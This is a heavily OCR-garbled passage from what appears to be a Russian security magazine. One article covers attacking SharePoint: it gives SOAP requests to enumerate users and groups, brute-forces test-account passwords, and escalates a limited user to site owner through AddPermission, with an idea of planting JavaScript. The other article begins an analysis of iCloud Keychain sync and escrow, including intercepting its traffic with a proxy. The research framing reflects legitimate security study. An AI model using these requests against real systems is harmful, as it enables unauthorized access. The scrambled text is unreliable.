<GetUserCollectionFromSite xmlns=

/>
</soap:Body>
</soap:Envelope>

M B utore y Hac ectb XML-O0KYMEHT, cooep>Xalunin Cricok
BCex nosib3oBarener (cMm. puc. 3). Ha puc. 4 n 5 BUAHO, YTO Mbl
nony4yaemM Cnmcok cpasy BCEX 03epoB, ¢ ux email, SID, ID.

Mpo «over 9000» nonb3oBateneit g roBOPW He NPOCTO Tak:
B MOEW NpakTuKe s MOCTOSIHHO CTaskMBaloCb C Takon cutyaumen,
1 UCMONb30BaHNE AAHHOrO MeToAa MepeyvcieHnst GbiBaeT MHe
O4YeHb MOJNIE3HO.

TAKEDOWN

MpoCTbIM MOUCKOM MO CMMNCKY NOb30BaTeNet 06bIMHO HAXOAUT-
Cs Ky4a TECTOBbIX akkayHTOB. Kak Tbl HABEpHsika ycrnes 3aMeTuTb,
B Halleli TeCTOBOW OpraHu3auun MynbsTUAOMEHHasi CTPyKTypa.
EctecTBeHHO nonararb, 4TO Ha pasdHbix gomMeHax Tuna RND vnn
Yy pasHbiX Mosib3oBaTesieil MoryT ObiTb pasHble npaea AoCTyna.
MpocTbiM 6pyTdopcom Tuna uname=pwd 1nm pwd=111111 nony4ya-
€M JOCTyM K eLLe OLHON JOMEHHOM y4eTke (puc. 6).

Kasanocb 6bl, npocTtas ocobeHHocTb SharePoint, HO nTorom
CTaHOBUTCSI KOMMpPOMeTauusi TeCTOBOro akkayHta. B pamkax
opraHn3aumn «HeA0BOJIbHbIN COTPYOHWUK» UKW, Kak roBOPUTCS
B aMepuKaHCKNX GuibMax, «HepaBHOAYLUHbIA FPaXAaHUH» MO-
XeT UCMoNb30BaTbh TECTOBbIA aKKayHT Ans NPOBeAeHus aTak,
TEM CaMbIM MaCKUpys cebs 1 OCNIOXHSAA CBOE 0GHapYXeHME.
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_i_bin
Authentication asmx

People asmx

SiteData asmx

UserGroup.asmx

» 3 alerts asmx

» 43 copy asmx

Cnucok cepBu-
coBBKaranore _vti_bin

Undopmauus
ononb3oBarene

XML-A0KyMeHT,
coaepXaLumii CMcok
nonb3oBartenen

Bocemb ThicsY
3anuceii Of4HUM 3anpo-
com!

Mony4yeHHble
upeHTudpuKaTopsl, SID,
name nonb3oBarenei
SharePoint

TectoBas yuer-
Has 3anuchb co cnabbiMm
naponem

—
Cseaenus o nonssoeatene: || NG

Yuernan sanuce

Mrma T

Pabounii agpec 3n.
nourTe!

Caepnenns 060 MHe
PHCYHOK

Oraen

Nomunocts £KTOPA AENAPTAMEHTA N0 COLMANEHEIM S0NPOCaN
Agpec SIP

Mra e

amunus

Pa6

anit Tenedion
office

MmMa nonesosarens

I

Be6-yzen

06azanHOCTH

Sarpers

org/soap/envelope/” xmln
3.0rg/2001/XMLSchema™>

WARNING

Bes nndopmaums
npenocTaBneHa uckio-
YUTENBHO B 03HAKOMN-
TeNbHbIX Lensx. Jinua,

1cnonbayloLme AaHHy0
MHPOPMALMIO B TPOTUBO-

3aKOHHbIX Llengx, Moryt
6bITb npuBJieYeHbl K 0T-
BETCTBEHHOCTH.

Lobpo noxanosarb B NMMYHbIA KabuHeT E

AHaNoOrM4yHeIM 06pas3oMm, UCMONb3Ys AaHHbI CEPBUC, MOXHO
NOCMOTPETb CMINCOK FPYNM 1 NPOBEPUTL, B KAKOW FPyMnne HaxoauT-
Cs1 noNib3oBaTesib. ATO NPeACTaBAsSeT MHTEPEC, MOTOMY 4TO 6onee
yBnekatesnbHol 3afadein 6yaeT 3axBaT y4eTkv A nonb3oBaTens
13 rpynnel BNaAENbLEB CaiiTa uam Toro, y KOro ectb npasa Ha pas-
mMelleHne HTML-cTpaHuu, Ha canTe. NMprumep 3anpoca Ha nosnyye-
HKe crmcka rpynn MOXeT BblMSAeTb CeyoLmmM 06pas3om:

POST /_vti_bin/UserGroup.asmx HTTP/1.1
Host: host

[.]

<?xml version= encoding= ?>
<soap:Envelope xmlns:xsi=
xmlns:xsd=
xmlns:soap=
>
<soap:Body>
<GetGroupCollectionFromSite xmlns=

/>
</soap:Body>
</soap:Envelope>

B utore Ham BepHETCSA CNMCOK rpynmn Ha caiTte, rae NoMUMo
CTaHAAPTHbIX rPynn MOryT ObiTb KACTOMHbIE CO CBOMMMW Mackamu
paspeLuennia (puc. 8).
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BbIBUPAEM JIAKOMbIM KYCOK
Kak s n roBopwun, korga «keptea» BblbpaHa, HaM MHTEPECHO Y3-
HaTb, CTOUT 1N NbITaTbCA NOA06paTh ee Naposb. [ 3T0ro MoXHo,
HanprMep, BbISICHNTb, B KaKMX FPynnax eCTb BbIOPaHHbIA akKayHT.
Mpu nop6ope naponsi He CTouT 3abbiBaTb O NAPOJSILHOM MONUTUKE,
KOTOpasi MOXET CbIrpaTb 3/yi0 LUYTKY C aTakylowmM 1 BblAaTb ero
NPUCYTCTBME aAMMHUCTPATOPaM CeTu.

MpuBeny npumep gns cuctemHoro akkayHta SHAREPOINT\
system:

POST /_vti_bin/UserGroup.asmx HTTP/1.1
Host: host

[.-]

<?xml version= encoding= ?>
<soap:Envelope xmlns:xsi=
xmlns:xsd=
xmlns:soap=
>
<soap:Body>
<GetGroupCollectionFromUser xmlns=

>
<userLoginName>SHAREPOINT\system
</userLoginName>
</GetGroupCollectionFromUser>
</soap:Body>
</soap:Envelope>

B otBeT nonyyaem onatb XML-O0KYMEHT, cogepxatimi nH-
dopmaLmio 0 Cnucke rpynr, B KOTOPbIX COCTOUT MOJib30BaTeb
(cm. puc. 9).

Kak MOXHO 3aMeTUTb, akkayHT NPMBA3aH K JOCTaTO4HO 60Jb-
LLIOMY KOJIMY4ECTBY MHTEPECHbIX rpynm.

NMPABAJOCTYNA
Cepsuc Permissions.asmx, pacnonaratoLmiica B TOM Xe katanore
_vti_bin, co3paH ons paboTebl ¢ pa3peLleHnsiMn Nosib3oBaTenei.
Y Hero [OCTaTo4HO HEMHOro MeToaoB (puc. 10), HO BCE OHU UHTE-
PECHbI C TOUKM 3peHNst 6E30NACHOCTM UM CBOErO GyHKLIMOHana.

Hanbonee WHTEPECHbIM Ofis  MeHs  MeToAoM  cTan
AddPermission. OH, kak 1 0601 APYron MeTof, AOCTATOYHO XO-
powo onucaH (

), ANS TOro 4YTOObI

chopmMmMpoBaTb 3anpoc K CEPBUCY.

VHTepec B MCMoNb30BaHUM JAHHOrO MeToAa 3ak/io4HaeTcs
B TOM, 4TOObl [06aBWTb OrpaHMY4EHHOMY MOJSIb30BATENIO MNpaBa
Bragenbua canta (unm List). To ecTb ecnv Ham NoBes3eT 1y Hac By-
AyT npasa Ha co3panve HTML-cTpaHuu, Ha cainTe (04uH 13 crnoco-
0B NONy4eHNs NONb30BaTENSA C TAKMMU NpaBamMu s onucan Bbilue,
HanpuMep, TECTOBLIN akkayHT U3 RND-gomeHa, no onpeaeneHnio
research and development, nonxeH nMeTb Takue npaea), To, pas-
MecTuB cBoWi JavaScript-3noBpen Ha caite, Mbl MOXEM MOBbICUTb
HaWwy npaea, kak TONbKO agMVH MepenaeT Ha Hally CTpaHuLy.
KcTatu, Te n3 Hac, y Koro kapma 1 Tak xopotuasi, MoryT nonpo6o-
BaTb MOCNaTb 3TOT 3aMPOC U3 KOHTEKCTa OrpaHMY4eHHOro Nosb30-
BaTens U HageaTbCs, HTO CepBep ero NPOMNyCTuUT :).

B cnepnyoulem 3anpoce 9 Aenato nonbiTky Ao6asneHns npas
OrpaHNMYeHHOMY NoNb30BaTEeNIO:

POST /_vti_bin/Permissions.asmx HTTP/1.1
Host: host

[.]

<?xml version= encoding= ?>
<soap:Envelope xmlns:xsi=

xmlns:xsd=
xmlns:soap=
>
<soap:Body>
<AddPermission xmlns="

<objectName>testsitel</objectName>
<objectType>web</objectType>
<permissionIdentifier>i:@#.w|rald3n\test3

« Addpermission

« AddPermissionCollection

« GetPermiss llection
« RemovePermission

« RemovePermissionCollection

« UpdatePermission m

MeTopabl, no-
3BONSIOLLUE NONYUNTD
cnucokrpynn

XML-pOKYMEHT,
copepXallmii CMMcok
rpynn

XML-poKyMeHT,
coaepxawmin uugop-
Mauumio o cnucKe rpynn,
B KOTOPbIX COCTOUT
nonb3oBaTtesb

MeToabi cepBu-
caPermissions.asmx

WWWwW

WccnenoBanus B 06nacTu
6e3onacHocTi SharePoint

OWASP — Research for
SharePoint (MOSS):

BishopFox — SharePoint
Hacking Diggity:

MindedSecurity —
Penetration Testing
Corporate Collaboration
Portals:

CarnalOwnage — From
LOW to PWNED [6]
SharePoint:

Liam Cleary — European
SharePoint Conference
2014:
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<Pxml version="1.8" enc -
xmln xmls0ap.org/soap/envelope.
ttp: / fonniw3 . org/2801/XMLSch

tEp: /e w3

1D sitel Membe,
contribute permissions to the SharePoin
False" />

ID="7" Hame:

sions to the SharePoi

e this group to grant people
tel” OwnerID="4" Our

oup to grant
people read pers dunerIsUser:
"Fs

»

xmlsoap.org/soap/envelope/” xml:
ttp: //www. w3 . org/2001/XMLSchem.

“http:/ fuw.

ttp://schemas. microsoft.

ption="" OwnerID="1873741823" OwnerIsUser="True"

AnMHHCTpaTODN 3aABok” Description="" OunerID="1073741823"
1>
Name="Byxrantepua” Description="" OwnerID="1673741823"
rue” />
Name="3anewrenn” Description="" OwnerID="1873741823" OwnerIsUser=

OwnerID="1073741823" Owner

" Na HMumunaropu” Descripti

Name="MpocmoTp yTeepxaenns” Description="* OwnerID="1673741823"
rue

Name="YToepxaawune” Descripti OwnerID="1073741823"
/>

rue

</permissionIdentifier>
<permissionType>User</permissionType>
<permissionMask>-1</permissionMask>
</AddPermission>
</soap:Body>
</soap:Envelope>

HemHoro nogpo6Hee Npo napameTpsbi:

+ <objectName>testsitel</objectName> — 3agaem umsi 06bL-
€KTa, B HalleM Ciy4ae 3T0 MMs canTa;

+  <objectType>web</objectType> — 3anaem TMn o6beKTa;

«  <permissionIdentifier>i:0#.w|rald3n\test3</
permissionIdentifier> — 3agaem, K KOMy Mbl XOTUM MpU-
MEHWTb NpaBa;

+ <permissionType>User</permissionType> — roBopum,
4YTO OHW AJ15 NONb30BATENS;

+ <permissionMask>-1</permissionMask> — yctaHaBnuBaem
Macky paspeLueHunii ons Bnagenbla canta.

CTOUT OTMETUTb, YTO He BCeraa MOXHO Y3HaTb 3Ha4YeHue Ma-
CKW paspeLueHnii Ha canTe, HO ANs BnagdenbLeB canTa 3HaveHne,
Kak npaeuno, - 1. Moay4nTb CANCOK pa3peLlennin ois camta MOX-
HO, ucnonbadys meton GetPermissionCollection.

EcTecTBEeHHO nonaratb, Y4TO €CNu AenaTtb 3anpoc U3 KOHTek-
CTa OrpaHNYeHHOro NoNb30BaTENs, CEPBEP OTCEYET ero, HO ecnu
HeMHoro n3eepHyTbcs ¢ XMLHttpRequest n Tem, yto CORS orpa-
HUYMBAET HAC TOJIbKO APYrMMU XOCTaMu, TO, Aymato, BMOHE o4e-
BWAHO, Kakas ysi3BMMOCTb MOXET ObITb MCMONb30BaHa Afis nosy-
YEHUS HYXHbIX HaM npaB. [JaHHbli MEeTOA, MOXET OblTb MONE3€EH,
ecnu y NonbL30BaTens ectb npasa Ha pasmelleHve HTML-ctpaHuy,
Ha cawnTe.

OUTRO

CerofHsi Mbl paCCMOTPENY JMLLIb Manyto 4acTb CEPBUCOB, KOTO-
pble 8 NPOTECTUPOBAa B XOA4Ee CBOEro UccnenosaHns. EctecteeH-
HO Npeanonarartb, YTO NOCNE NONYYEeHN AAMUHCKMX NPaB Ha cai-
Te SharePoint nosiBUTCS OrpoMHOE XefnaHWe He TONbKO YyXue
OAaHHbIE MoYMTaTh, HO U UCTIONHUTL KoMaHabl OC. TyT B 6o BCTY-
natoT Haebikn BnageHus C#, ASP n .NET-nnat¢opmotii. Co Bpeme-
HEM MoAaroToBnto 6osiee MHTePECHbIE TPIOKK, HO noka disclosure
policy orpaHMyYnBaeT MeHS B 9TOM. i
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B HEJIPAA
ICLOUD

BesonacHoe xpaHeHue
naponem n nx CUHXPOo-
HU3aumnsa Mexay ycTpomn-
cTBaMun — 3ajadya He-
npocTtasa. Okono roga
Hasag Apple npeacrtaBu-
na mupy iCloud Keychain,
CBOE€ UEeHTpann3oBaHHoOe
XpaHunuuie naponen
B OS XuniOS. aBan
nonpobyem pasobpaTb-
CH, rAe 1N KaK XpaHATCs
naponn nonb3oBaTenen,
Kakue noTeHumnanbHble
PUCKWN 3TO HECET N UMeeT
nm Apple TeXHNYeCKyto
BO3MOXHOCTb NONY4YUTb
v - 0OCTyn K pacwmndpo-
I P - _ BAHHbIM AAHHbIM, XpPaHsi-
‘ LLMMCH Ha ee cepBepax.
KomnaHua yTBEpXOaerT,
4YTO TakowW OOCTYMN HEBO3-
MOXEH, HO, 4TOObI 3TO
noATBEPAUTb UM ONPO-
BEPrHyTb, HEOOXO0ANMO
pasobpaTtbca, kak pabo-
TaeT iCloud Keychain.

[MPVNCTAJIBHO PACCMATPVIBAEM
MEXAH3M LAENMOHNPOBAHNHA
NMAPOJIEV B ICLOUD M ETO
BE3ONACHOCTb
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ICLOUD 101
Ha camom pene iCloud — 3710 He oauH cepBuc, aTo obLiee Map-
KETUHrOBOE HasBaHWe ANa uenoro pspa o6nayHbIX CEpPBMCOB
oT Apple. BTO N CUHXPOHU3AUNSA HACTPOEK, AOKYMEHTOB U POTO-
rpacduin, n Find My Phone ons novcka noTepsHHbIX v NOXULLEH-
HbIX YCTPONCTB, 1 iCloud Backup ans pesepBHOro KOnuMpoBaHus
B obnako, u Tenepb BOT iCloud Keychain ana 6e3onacHoi CUH-
XPOHM3aLMW Naposien ¥ HOMEPOB KPEAUTHbIX KAPT Mexay YCTPO-
cTBamu Ha 6a3e iOS 1 OS X.

Kaxpas cnyxoba iCloud pacnonoxeHa Ha COGCTBEHHOM AOMe-
He TPeTbero ypoBHs, Takom kak pXX-keyvalueservice.icloud.com,
roe XX — Homep rpynmnbl CepBepoB, OTBEYAOWMX 3a 06paboTky
3anpoCoB TeKYLLEro Nofib3oBaTens; ANns pasnnyHeix Apple ID atoT
HOMEpP MOXET BbITb pa3HbiM; 60s1ee HOBbIE YHETHbIE 3anmcu 00bIY-
HO MMeIoT BosbLIee 3HaYeHre 3TOro cHeTHMKa.

KOA BE3OMNACHOCTUICLOUD
Mpexpae yem norpyxartbcst B aHanua iCloud Keychain, ob6patum
BHUMaHWE Ha TO, KaknM 06pa3om aTa ciyxba KoHdUrypmpyetcs.
Mpwn BkmtoueHumn iCloud Keychain nonb3oBatento npeanaraetcs
npuaymate 1 BBeCTu ko 6esonacHoctu iCloud (iCloud Security
Code, panee — iCSC). Mo ymonyaHuio ¢dopma BBOAA MO3BOJIS-
€T UCMO0JIb30BaTh YeTblpex3HayHbI UM@POBON KoA, HO, Nepenas
no ccblike «[JononHUTEeNbHbIE NapamMeTpbl», BCE Xe MOXHO 1C-
nonb3oBaTb 6onee CROXHbIV KOA, U BOBCE MO3BONUTbL YCTPOW-
CTBY CrEHEPMPOBATbL CTOMKMIA CIy4YaliHbIA KOA,.

Tenepb Mbl 3HaeMm, 4To AaHHble B iCloud Keychain 3alumiueHsl
¢ nomolubto iICSC. Hy 4to e, nonpobyem pasobparbes, Kak UMeH-
HO 9Ta 3awmTa peannadosaHa!

NEPEXBAT TPAOUKA UJIU MAN=-IN-THE-MIDDLE
[MepBbIM LLArom npu aHanm3e ceTeBbIX CEPBUCOB 3a4aCTYIO SBNSA-
eTCsa noslyYeHne JoCcTyna K ceteBoMy Tpaduky Mexay KIMeHTOM
1 cepsepoM. B cnyyae c iCloud ansi Hac ecTb ABe HOBOCTU: MJo-
xasi 1 xopouwlasi. lNnoxas COCTOMT B TOM, 4YTO BECH (HY U MO Kpaii-
Hel Mepe NoAaBNsoLLLAs ero YacTb) Tpaduk 3awmweH TLS/SSL,
TO €CTb OH 3alndpoBaH N 0O6bIYHON NACCUBHOM aTakoi «Npoym-
TaTb» ero He ygactcs. XopoLas Xe HOBOCTb 3aKJ/Il04aeTCsi B TOM,
yTo Apple caenana Bcem xenatowmm novcecnenosatb iCloud no-
[AapoK 1 He wucnonbadyet dukcaumio ceptudukara (certificate
pinning), 4TO NO3BONSIET [OCTATOYHO NMPOCTO OPraHM30BaTh ataky
«4enoBek nocepeamHe» (man-in-the-middle) n pacwmdposbiBaTh
nepexsavyeHHbI Tpaduk. 15 3Toro 40CTaTO4HHO:
1. MomecTnTb NnoponbiTHoe iI0S-ycTpoicTBo B oaHy Wi-
Fi-ceTb C KOMMbIOTEPOM, OCYLLECTBASIOWMM MNepe-

WARNING

Bcsi undopmauus
npefocTaBneHa uckaio-
YNTENBHO B 03HAKOMM-
TeNbHbIX Lensx. Jlnua,
1CNOoNb3yloLMe AaHHYI0

MHbOPMaLMIO B TPOTUBO-
3aKOHHBIX LLeNsiX, MOryT
6bITb MPUBIEYEHBI K OT-

BETCTBEHHOCTU.
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NMPWIOXEHWS] UCMOJb3YIOT €ro AJi CMHXPOHMU3aUMM HEOOMbLUINX
06BbEMOB JaHHbIX (HACTPOWKK, 3aKnaaku 1 Tomy nogobHoe). Kax-
[as coxpaHsiemasi 3Toi cnyx060ii 3anMck acCouMMPYeTCs C NAEH-
Tndurkatopom npunoxenuns (Bundle ID) n nmeHem xpaHunuwa
(store). CoOTBETCTBEHHO, A5 MOMYyYEHUS COXPAHEHHbIX AAaHHbIX
OT cepBuca Takxke Heob6x0AMMO NPefoCTaBUTL 3TU nAeHTUdMKa-
Topbl. B pamkax iCloud Keychain gaHHbI cepBucC MCnonb3yeTcs
AN CUHXPOHM3auumn 3anncen Keychain B 3aumdposBaHHOM BUAE.
Jocrato4yHo noapo6HO 3TOT MpoLecc onucaH B AokymeHTe iOS
Security B pasgenax Keychain syncing n How keychain syncing
works.

Cunxpouusauumsa Keychain

Korgpa nonb3oBatens Bnepsble BkovaeT iCloud Keychain,
YCTPOMCTBO CO3AAET «Kpyr AoBepus» (circle of trust) n kno4m cun-
XpPOHM3aumm (syncing identity, COCTOUT 13 OTKPLITOrO 1 3aKPbITOro
KJoYen) ans Tekylero yctponctea. OTKPbITbIV KSKOY 3TOW napbl
NoMeLLLaeTCs B «KPYyr JOBEPUS», U 3TOT «Kpyr» ABaXAbl MOANUCHI-
BAETCH: CNnepBa 3akpbiTbiM KNOHOM CUHXPOHM3aLMKN YCTPONCTBA,
a 3aTeM aCUMMETPUYHBIM KIIOHOM (OCHOBAHHBLIM Ha JNMAUMTU-
yeckol kpuntorpaduu), nosydyeHHsIM 13 napons nosib3oBarens
Ha iCloud. Takxe B «kpyre» COXpaHsatoTCs napameTpbl 415 BblYMC-
NIEHNS KloYa 13 Napons, Takme Kak Cosib 1 KONMYECTBO UTEPaLNA.

MoanucaHHbI «kpyr» coxpaHseTcs B Key/Value-xpaHunuue.
OH He MoxeT OblTb MpoynTaH 6e3 3HaHWs MOoNIb30BaTENIbCKOro
napons iCloud 1 He MOXeT ObITb M3MeHeH 6e3 3HaHNS 3aKPbITOrO
KJ1I042 OAHOrO U3 YCTPOMCTB, A0OABNEHHbBIX B «KPYI».

Korpa nonb3oBatenb BkntovaeT iCloud Keychain Ha ppy-
roM YCTPOWCTBE, 3TO YCTpOWCTBO obOpaulaetcs k Key/Value-
xpaHnunuiy B iCloud 1 3ameyaert, 4TO y NoOMbL30BaTeNs yXxe ecTb
«Kpyr AOBEpUs» U 4TO HOBOE YCTPOWCTBO B HEro He BXOAOMUT.
YCTPOWCTBO reHepupyeT KIII0YM CUHXPOHM3ALMN N KBUTAHLMIO
OS99 3anpoca 4YieHCcTBa B «kpyre». KBUTaHUMSA COAEPXMT OTKPbI-
ThIA KJOY CUHXPOHW3ALMM YCTPOMCTBA W MOANUCaHA KIlOYOM,
MONy4EHHBIM 13 Monb3oBatesnbckoro napons iCloud ¢ ncnonb-
30BaHVEM MapamMeTPoB reHepauun Ko4a, nosydeHHbix 13 Key/
Value-xpaHunuiia. MoanvcaHHas KBUTaHUMA 3aTeM nomMeLLaeTcst
B Key/Value-xpanunuuie.

MNepBoe yCTPOWMCTBO BUAMT HOBYIO KBUTAHLMIO U MOKa3biBaeT
nonb3oBartesiio CoobLLEeHMEe O TOM, YTO HOBOE YCTPOICTBO 3anpa-
wrBaeT nobaBneHne B «kpyr AoBepwusi». MNonb3oBaTenb BBOAUT
naponb iCloud, 1 NnoaNMCb KBUTAHLMM NPOBEPSIETCS HA KOPPEKT-
HOCTb. OTO AOKA3bIBAET, YTO NOJb30BaTENb, FEHEePUPOBaBLLNIA 3a-
npoc Ha gobaBneHne yCTPoicTBa, BBES BEPHLIA Naposb
npuv CO34aHNN KBUTAHLUN.

XBar.
YCTaHOBUTbL Ha KOMMbOTEPE MNEpexBaTbiBaOLLMIA
npokcu-cepsep (Takor kak Burp, Charles Proxy nnm
N060M aHaNOMNYHBINA).

MmnoptupoBat Ha  i0S-yctpoiictBo  TLS/SSL-
cepTudukar ycTaHOBJIEHHOIO NPOKCU-cepBepa (noa-
POBHOCTY B CNpaBke KOHKPETHOMO MPOKCK).

B HacTtpoiikax Wi-Fi-cetn Ha iOS-yctpoiictee (Ha-
ctpoikn — Wi-Fi — Umsa cetn — HTTP MNpokcu) yka-
3artb IP-agpec nepexsarbiatoLLero koMmnbtotepa B Wi-
Fi-ceTv n nopT, Ha KOTOPOM CAyLIAET NPOKCU-CEPBEP.

Ecnn BCce cpenaHo npaBuibHO, TO BeCb Tpaduk
Mexay ycTporictBom 1 iCloud’om 6yaeT kak Ha NafoHu.
W n3 nepexeara atoro Tpacduka 6yaeT oT4eTIMBO BUAHO,
yT1o iCloud Keychain noctpoeH Ha 6a3e OByx CEepBMCOB
iCloud: com.apple.Dataclass.KeyValue n com.apple.
Dataclass.KeychainSync — v npu nepBoHayanbHOM,
1 NPV NOBTOPHOM BKJ/IIOYEHMSIX HA APYrMX yCTPOMCTBAX
iOS 06MeHMBaeTCst AaHHBIMW C 3TUMU CEPBUCAMU.

MepBbli cepBUC He HOB 1 Oblfl B YMCNE NEPBbLIX BO3-
MoxHocTel iCloud; OH LUIMPOKO MCMNONb3yeTcs Mpuio-
XEHUAMU [1S1 CUHXPOHU3auMmM HacTpoek. Btopoli xe
ABNSETCS HOBLIM U pa3paboTaH, 04eBMAHO, CNeLnanbHO
nns iCloud Keychain (xoTa ero ¢gpyHKUMOHaN TeopeTuye-
CKV NO3BONSIET UCMONB30BATh €ro 1 AJ1S APYrnX Lenem).
PaccMoTpuM 3Tu cepBurChl NOAPOBHee.

> =
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Mocne Toro kak nonb3oBaTtesb MNOATBEPAMT AO-
6GaBneHne yCTpPOICTBA K «Kpyry», NnepBoe YCTPONCTBO
[o6aBnseT OTKPbITbIA K04 CUHXPOHM3ALMU HOBOIO
YCTPOWCTBA B «KPYr» N BHOBb ABaXAbl MOAMNMCHIBAET €ro
npv NOMOLLY CBOErO 3aKPbITOro KJto4a CUHXPOHU3aLMm
1 NPy NOMOLUM Kito4ya, noslydeHHoro u3 napons iCloud-
none3oBarens. HoBbl «kpyr» coxpaHsietcs B iCloud,
1 HOBOE YCTPOICTBO @HaNorM4yHo NoAn1ChLIBaEeT ero.

Kak pa6oTaeTt cunxpounsauusa Keychain
Tenepb B «kpyre JoBepusi» ABa YCTPOWCTBA, U Kaxaoe
M3 HUX 3HAET OTKPbITbIE KIOYM CUHXPOHU3ALIMU OPYrnX
yCcTpoicTB. OHM HaumHalOT OOMEHMBATLCH 3aNUCSMU
Keychain yepes3 Key/Value-xpanunuuie iCloud. B cny-
Yyae ecnu oHa W Ta Xe 3anvcb NPUCYTCTBYET Ha 060MX
YCTPOWCTBax, NpuopuTeT ByaeT oTaaH nmetowein 6onee
nosgHee Bpemsi moandvkaumn. Ecnu spems moandu-
kaumm 3anmcu B iCloud n Ha ycTpoOWCTBE COBMAAALOT,
TO 3aMNMCb HE CUHXPOHM3MPYETCH. Kaxaas CUHXPOHU3M-
pyemasi 3an1cb 3anMdpoBbIBAETCS CneumanbHo Ans ue-
IEBOr0 YCTPOICTBA; OHA HE MOXET ObITb paclundpoBaHa
npyrumu yctponcteamm nnmn Apple. Kpome Toro, 3anucb
He xpaHuTcs B iCloud NOCTOSIHHO — OHa Nepe3anucblBa-
€TCS HOBbIMY CUHXPOHU3VPYEMbIMW 3annCAMN.

OTOT Mpouecc MOBTOPSETCS O KaXAOoro HOBOro
YCTpOICTBa, A06GABNSEMOro B «kpyr AoBepusi». Hanpu-
Mep, ecnn K «Kpyry» nobaBnseTcs TpeTbe YCTPONCTBO,

COM.APPLE.DATACLASS.KEYVALUE
Kak 6bln10 0OTMEYEHO Bbille, 3TO OAMH U3 CEPBUCOB, UC-
nonb3yemsblx iCloud Keychain. MHorue cyuwiecTsyoLwime

Mo ymonuanumio iOS npeanaraeT Mcnonb-
30BaTh koA, 6€30MacHOCTU, COCTORALLUI
usyetbipex undp

TO 3anpoc NOATBePXAEHUS OyaeT nokasaH Ha ABYX APY-
rmx ycTtporicteax. lNonb3oBatefib MOXeT NOATBEPAUTb
nob6aeneHne Ha obom M3 Hux. Mo mepe pnobasnexHus
HOBbIX YCTPOWCTB KaXA0€ YCTPOMCTBO U3 «Kpyra» CUH-
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MpusHak Toro, 4to iCloud Keychain
com.apple.securebackup.enabled Bkto4eH 1 3anucu Keychain coxpaHe-

Hbl B JaHHOM XpaHunuiie

SecureBackupMetadata BPEMEHMU, NPU3HaK CNoXHocTn iCSC
Ha6op kto4eit, C NOMOLLbIO KOTOPbIX
3awmndpoBaHbl 3anmcu Keychain;

BackupKeybag 3TOT HAbOP KIIIOYEN, B CBOIO 04epeb,
3aLlmLLEeH naponemM
Mpu3Hak Toro, 4To Naposb Ans

BackupUsesEscrow BackupKeybag 6bin aenoHnposaH Ha
cepsepbl Apple

BackupVersion Bepcus npoTokona / CxemMbl AaHHbIX

BackupUUID YHUKaNbHbIN naeHTUGUKaTop xpa-

HUAMLWA

3anucu Keychain, 3awumndpoBaHHble
com.apple.securebackup.record npv NOMoLLM Habopa KJTloYel, XpaHsi-

werocs B BackupKeybag

3anucu B xpaHunuwe com.apple.sbd3

XPOHU3MPYETCS C HOBLIMU, YTOOLI yBeanTbCs, 4To Habop 3anuncei
Ha BCEX YCTPOMCTBAX OANHAKOB.

HeobxoamMmMo 3ameTuTb, 4YTO CUHXPOHWU3MPYETCA He BeCb
Keychain. HekoTtopble 3anucu npueasdaHbl K YCTPOWCTBY (Ha-
npumep, ydyetHole 3anncm VPN) 1 He LOMKHbI NOKMAATb YCTPOW-
CcTBO. CUHXPOHM3UPYIOTCSH TOMbKO 3anucu, WUMerolme atpu-
6yt kSecAttrSynchronizable. Apple ycTtaHoBuna aToT atpubyT
0151 N0NIb30BATENLCKMX AaHHbIX Safari (Bkioyas nmeHa nosib3osa-
Tenen, Naposiv n HoMepa KpeauTHbIX KapT) 1 ang naponent Wi-Fi.

Kpome TOro, no ymonyaHuio 3anmcu CTOPOHHUX MPUIIOXe-
HUA TakXkXe He CUMHXPOHMU3MPYIOTCA. [Na MX CUHXpOHM3auun
pa3paboTynkn AOMKHbI fIBHbIM 00pa3oM YCTaHOBUTb aTtpubyT
kSecAttrSynchronizable npu no6asnexHun 3anucu B Keychain.

iCloud Keychain onepupyeT AByMS XpaHUAULLAMU:
+com.apple.security.cloudkeychainproxy3

- Bundle ID: com.apple.security.cloudkeychainproxy3;
+ com.apple.sbd3
- Bundle ID: com.apple.sbd (SBD — akpoHum Secure
Backup Daemon).

lMepBoe xpaHunuwie npPeanonoXuTesbHO — UCMOJb3yeTcs
ON19 NoAAEPXaHUS Crnucka AOBEPEHHbIX YCTPOWCTB (YCTPOWCTB
B «Kpyre OOBEpus», MexXAy KOTOpbIMU paspelleHa CUHXPOHW3a-
umsa naponeit), ona no6aBneHNs HOBbIX YCTPOMCTB B 3TOT CMUCOK
1 4J191 CUHXPOHU3aLMn 3anmcen Mexay YyCTpOoncTBaMm (B COOTBET-
CTBUWN C MEXAHN3MOM, ONNCAHHLIM BbILLE).

BTopoe e xpaHunuuie npegHasHa4eHo [/ Pe3epBHOro
KONUPOBaHUS N BOCCTaHOBMEHUA 3anucein Keychain Ha HoBble
YCTPOWCTBA (Hanpumep, Korga B «Kpyre A0Bepust» HeT OpYyrnx
YCTPOWCTB) 1 cOAepXuT 3awmndpoBaHHble 3anvcu Keychain n co-
NyTCTBYIOLLYIO MHOPMALIMIO.

Takum o6pasom, 3anucu Keychain xpaHsTca B 06bi4HOM Key/
Value-xpanunuuie  (com.apple.securebackup.record). 3tn
3anmcuy 3awmndpoBaHbl C MOMOLLBIO HABOPA KIOYeN, XPaHSLLLero-
csi Tam xe (BackupKeybag). Ho aToT Habop kntoyeit 3almieH na-
ponem. OTkyaa oH 6epetca? YTo a1o 3a cnyxba AenoHMpoBaHUs
naponein Apple? lanee nocrapaemcs pa3zobparbcs.

APPLE.DATACLASS.KEYCHAINSYNC

OTO HOBbI CEPBUC, BO3HUK OH OTHOCUTENIbHO HEABHO: BMEpPBbIe
ero nogaepxka nosisunack B 6eta-sepcusax iOS 7, 3ateMm oHa OT-
cytctBoBana B iOS 7.0-7.0.2 n 6bina BHOBb goGaeneHa B iOS
7.0.3, Bblweawen ogHoBpemMeHHO ¢ penn3oMm OS X Mavericks.
OTO 1 ecTb ynomMsiHyTasi Bbille cnyxb6a AenoHUpoBaHUs naposnei
(appec cnyx6bl — pXX-escrowproxy.icloud.com).

Cnyx6a npegHasHavyeHa ans 6e30nacHOro XxpaHeHus nob3o-
BaTesIbCKNX CEKPETOB 1 NMO3BOJISIET NOSL30BATENIO NOC/e yCcneL-
HOM ayTeHTUdUKaUMM BOCCTAHOBUTL 3TN cekpeTbl. s ycnewHomn
ayTeHTUdMKaLUM HeoOX0AMMO CreayoLLee:

MeTagaHHble: Kop, CTpaHbl, MeTka

/get_club_cert
/enroll

/get_records

/get_sms_targets

/generate_sms_challenge

